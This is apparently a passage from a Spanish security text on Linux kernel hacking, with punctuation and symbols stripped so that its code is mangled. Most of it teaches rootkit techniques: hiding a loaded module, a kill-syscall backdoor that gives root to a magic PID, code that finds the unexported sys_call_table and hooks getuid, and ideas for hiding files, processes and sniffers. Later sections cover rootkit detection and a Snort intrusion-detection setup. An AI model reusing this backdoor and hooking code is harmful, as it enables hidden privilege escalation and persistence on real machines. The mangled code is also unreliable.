Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

